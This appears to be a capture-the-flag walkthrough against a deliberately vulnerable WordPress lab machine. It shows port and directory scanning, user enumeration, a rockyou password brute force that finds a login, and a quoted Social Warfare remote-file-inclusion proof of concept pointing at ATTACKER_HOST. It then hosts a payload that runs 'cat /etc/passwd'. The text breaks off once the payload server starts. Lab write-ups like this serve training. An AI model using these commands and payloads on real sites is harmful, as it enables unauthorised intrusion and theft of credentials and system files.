PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 5b:55:43:ef:af:d0:3d:0e:63:20:7a:f4:ac:41:6a:45 (RSA)
| 256 53:f5:23:1b:e9:aa:8f:41:e2:18:c6:05:50:07:d8:d4 (ECDSA)
|_ 256 55:b7:7b:7e:0b:f5:4d:1b:df:c3:5d:a1:d7:68:a9:6b (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: So Simple
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
┌──(kali㉿VirtualBox)-[~]
└─$ gobuster dir -u 192.168.158.78 -w /usr/share/wordlists/dirb/common.txt -q -t 200
/index.html (Status: 200) [Size: 495]
/server-status (Status: 403) [Size: 279]
/wordpress (Status: 301) [Size: 320] [--> <http://192.168.158.78/wordpress/>]
For some reason I am not able to --enumerate
all p
, t
and u
in one shot
┌──(kali㉿VirtualBox)-[~]
└─$ wpscan --url <http://192.168.158.78/wordpress/>
_______________________________________________________________
__ _______ _____
\\ \\ / / __ \\ / ____|
\\ \\ /\\ / /| |__) | (___ ___ __ _ _ __ ®
\\ \\/ \\/ / | ___/ \\___ \\ / __|/ _` | '_ \\
\\ /\\ / | | ____) | (__| (_| | | | |
\\/ \\/ |_| |_____/ \\___|\\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.22
Sponsored by Automattic - <https://automattic.com/>
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: <http://192.168.158.78/wordpress/> [192.168.158.78]
[+] Started: Sat Jul 16 03:13:34 2022
Interesting Finding(s):
[+] Headers
| Interesting Entry: Server: Apache/2.4.41 (Ubuntu)
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: <http://192.168.158.78/wordpress/xmlrpc.php>
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - <http://codex.wordpress.org/XML-RPC_Pingback_API>
| - <https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/>
| - <https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/>
| - <https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/>
| - <https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/>
[+] WordPress readme found: <http://192.168.158.78/wordpress/readme.html>
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] Upload directory has listing enabled: <http://192.168.158.78/wordpress/wp-content/uploads/>
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: <http://192.168.158.78/wordpress/wp-cron.php>
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - <https://www.iplocation.net/defend-wordpress-from-ddos>
| - <https://github.com/wpscanteam/wpscan/issues/1299>
[+] WordPress version 5.4.2 identified (Insecure, released on 2020-06-10).
| Found By: Rss Generator (Passive Detection)
| - <http://192.168.158.78/wordpress/index.php/feed/>, <generator><https://wordpress.org/?v=5.4.2></generator>
| - <http://192.168.158.78/wordpress/index.php/comments/feed/>, <generator><https://wordpress.org/?v=5.4.2></generator>
[+] WordPress theme in use: twentynineteen
| Location: <http://192.168.158.78/wordpress/wp-content/themes/twentynineteen/>
| Last Updated: 2022-05-24T00:00:00.000Z
| Readme: <http://192.168.158.78/wordpress/wp-content/themes/twentynineteen/readme.txt>
| [!] The version is out of date, the latest version is 2.3
| Style URL: <http://192.168.158.78/wordpress/wp-content/themes/twentynineteen/style.css?ver=1.6>
| Style Name: Twenty Nineteen
| Style URI: <https://wordpress.org/themes/twentynineteen/>
| Description: Our 2019 default theme is designed to show off the power of the block editor. It features custom sty...
| Author: the WordPress team
| Author URI: <https://wordpress.org/>
|
| Found By: Css Style In Homepage (Passive Detection)
|
| Version: 1.6 (80% confidence)
| Found By: Style (Passive Detection)
| - <http://192.168.158.78/wordpress/wp-content/themes/twentynineteen/style.css?ver=1.6>, Match: 'Version: 1.6'
[+] Enumerating All Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)
[i] Plugin(s) Identified:
[+] simple-cart-solution
| Location: <http://192.168.158.78/wordpress/wp-content/plugins/simple-cart-solution/>
| Last Updated: 2022-04-17T20:50:00.000Z
| [!] The version is out of date, the latest version is 1.0.2
|
| Found By: Urls In Homepage (Passive Detection)
|
| Version: 0.2.0 (100% confidence)
| Found By: Query Parameter (Passive Detection)
| - <http://192.168.158.78/wordpress/wp-content/plugins/simple-cart-solution/assets/dist/js/public.js?ver=0.2.0>
| Confirmed By:
| Readme - Stable Tag (Aggressive Detection)
| - <http://192.168.158.78/wordpress/wp-content/plugins/simple-cart-solution/readme.txt>
| Readme - ChangeLog Section (Aggressive Detection)
| - <http://192.168.158.78/wordpress/wp-content/plugins/simple-cart-solution/readme.txt>
[+] social-warfare
| Location: <http://192.168.158.78/wordpress/wp-content/plugins/social-warfare/>
| Last Updated: 2021-07-20T16:09:00.000Z
| [!] The version is out of date, the latest version is 4.3.0
|
| Found By: Urls In Homepage (Passive Detection)
| Confirmed By: Comment (Passive Detection)
|
| Version: 3.5.0 (100% confidence)
| Found By: Comment (Passive Detection)
| - <http://192.168.158.78/wordpress/>, Match: 'Social Warfare v3.5.0'
| Confirmed By:
| Query Parameter (Passive Detection)
| - <http://192.168.158.78/wordpress/wp-content/plugins/social-warfare/assets/css/style.min.css?ver=3.5.0>
| - <http://192.168.158.78/wordpress/wp-content/plugins/social-warfare/assets/js/script.min.js?ver=3.5.0>
| Readme - Stable Tag (Aggressive Detection)
| - <http://192.168.158.78/wordpress/wp-content/plugins/social-warfare/readme.txt>
| Readme - ChangeLog Section (Aggressive Detection)
| - <http://192.168.158.78/wordpress/wp-content/plugins/social-warfare/readme.txt>
[+] Enumerating Config Backups (via Passive and Aggressive Methods)
Checking Config Backups - Time: 00:00:08 <==========> (137 / 137) 100.00% Time: 00:00:08
[i] No Config Backups Found.
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at <https://wpscan.com/register>
The default scan will get themes
and plugins
, next will do a user
scan
┌──(kali㉿VirtualBox)-[~]
└─$ wpscan --url <http://192.168.158.78/wordpress/> --enumerate u
<SNIPPET>
[i] User(s) Identified:
[+] admin
| Found By: Author Posts - Author Pattern (Passive Detection)
| Confirmed By:
| Rss Generator (Passive Detection)
| Wp Json Api (Aggressive Detection)
| - <http://192.168.158.78/wordpress/index.php/wp-json/wp/v2/users/?per_page=100&page=1>
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] max
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
Since we have user admin
and user max
we can continue to do a wpscan
bruteforce
┌──(kali㉿VirtualBox)-[~]
└─$ wpscan --url <http://192.168.158.78/wordpress/> -U max -P /usr/share/wordlists/rockyou.txt
<SNIPPET>
[!] Valid Combinations Found:
| Username: max, Password: opensesame
Since the title of this machine is SoSimple
we will be focusing on simple-cart-solution
<html>
<body>
<form action="<http://192.168.158.78/wordpress/wp-content/plugins/simple-cart-solution/simple-cart.php>" method="POST" enctype="multipart/form-data">
<input type="file" name="userfile" />
<input type="submit" value="Submit" />
</form>
</body>
</html>
After trial and error and found out this shit does not work.
We move on to the next plugin social-warfare
Proof of Concept
1. Create payload file and host it on a location accessible by a targeted website. Payload content : "<pre>system('cat /etc/passwd')</pre>"
2. Visit <http://WEBSITE/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://ATTACKER_HOST/payload.txt>
3. Content of /etc/passwd will be returned
Seems like this is an Remote File Inclusion Vulnerability, first we create a payload.txt
┌──(kali㉿VirtualBox)-[~]
└─$ cat payload.txt
<pre>system('cat /etc/passwd')</pre>
┌──(kali㉿VirtualBox)-[~]
└─$ sudo python3 -m http.server 80